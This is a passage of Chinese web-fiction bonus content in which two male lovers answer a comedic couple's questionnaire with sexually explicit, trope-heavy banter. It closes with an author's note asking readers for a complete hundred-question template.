31.第一次约会是谁发起的? 甄甄:带我和同学去吃五星级酒店算不算?谁懂一个快两米的蜜皮壮汉突然朝着我走过来时的惊悚,我都快吓哭了好吗! 贺越邱:所以你是怕我被拒绝恼羞成怒动手才答应的? 32.第一次接吻是谁主动? 甄甄:我干脆把第一次做谁主动也告诉你吧。 贺越邱:别搞笑了,难道指望一个有性瘾的人当坐怀不乱的柳下惠吗? 33.认为自己在关系中扮演的角色? 甄甄:放牧的。替国家和社会看好某个不稳定因素。 贺越邱:小狗饲养官。 34.理想中的求婚场景? 甄甄:春天,花海,白西装。 贺越邱:这个问题好,到时候把甄甄的答案给我看,我要记下来。 35.是否想过领养孩子? 甄甄:我差点快把自己养死了,不了吧。 贺越邱:甄甄不是宝宝吗?为什么还要领养? 51.爱情中最重要的东西? 甄甄:那当然是爱啊! 贺越邱:以前不懂,现在感觉是唯一的独占性。 52.是否因对方改变过人生选择? 甄甄:有。本来不爱吃牛肉的,现在出去吃面都要点红烧牛肉。 贺越邱:从选择他那天起,就已经是完全不同的人生了。 53.最害怕失去对方的时刻? 甄甄:每个人都有随时离开的权利,他不是我的一件物品,所以我不会失去他。 贺越邱:我不会失去他。别问这种问题。 54.能接受异地恋吗? 甄甄:还有这种好事? 贺越邱:接受ED也不接受异地。 55.如何看待“攻受”身份对关系的影响? 甄甄:我不理解怎么会有这种问题,这是我看不看待就能改变的吗?不如让他先从我身上下来吧受不了了! 贺越邱:我更正一下,只有把几把放进甄甄里面的时候我才会有性瘾,其他时候我很正常没有任何疾病,谢谢大家。 56.第一次H的地点? 甄甄:……我不记得了,太痛了,脑子替我选择性遗忘了。 贺越邱:虽然每一次都很重要,但我比较传统,和甄甄的第一次精心准备过,专门等买好了属于我们的房子,在我们一起选好的床上进行的。 57.对亲密行为的偏好是温柔型还是强势型? 甄甄:这个答案可以转达给他吗?其实我真的不喜欢进入,比起真枪实弹,还是亲吻和手指抚慰更舒服一点。 贺越邱:狂暴型。 58.事后会一起洗澡吗? 甄甄:往往累晕过去一觉到天亮了。不过每次醒来都是很清爽的,除了总感觉里面有东西。 □*□ 59.认为性和爱哪个更重要? 甄甄:爱。 贺越邱:实在无法割舍性。但我知道他想要什么,我会努力的。 60.如果对方变心,你会? 甄甄:摆十桌。终于脱离苦海了。他的话,估计会很开心。 贺越邱:变心?除了我谁能让他这么爽?不可能。 (61-75问:信任考验、生死抉择等) 61.是不是知道甄甄吃软不吃硬,故意拿救命之恩换复合机会? 贺越邱:本能。 甄甄:我不信。 贺越邱:我发誓是本能!!! 贺越邱:不过醒了之后确实发现把自己弄得可怜点,复合机会更大。 76-85问:成人向内容**(可选跳过或替换) 76.第一次H的主导方? 甄甄:每一次都是他。 贺越邱:每一次都是我。 77.对方最敏感的身体部位? 甄甄:我就是不碰他,看他一眼,他都会……受不了了。 贺越邱:太多了 85.是否尝试过角色扮演? 甄甄:360行都不够了。 贺越邱:下次警匪。 100.再多长一个学怎么样? 贺越邱:我喜欢很熟的小处女。 甄甄:为什么不让他少一个鸟?—— 作者有话说:编不完了[爆哭]谁有完整的一百问模板扔给我啊[爆哭]《 》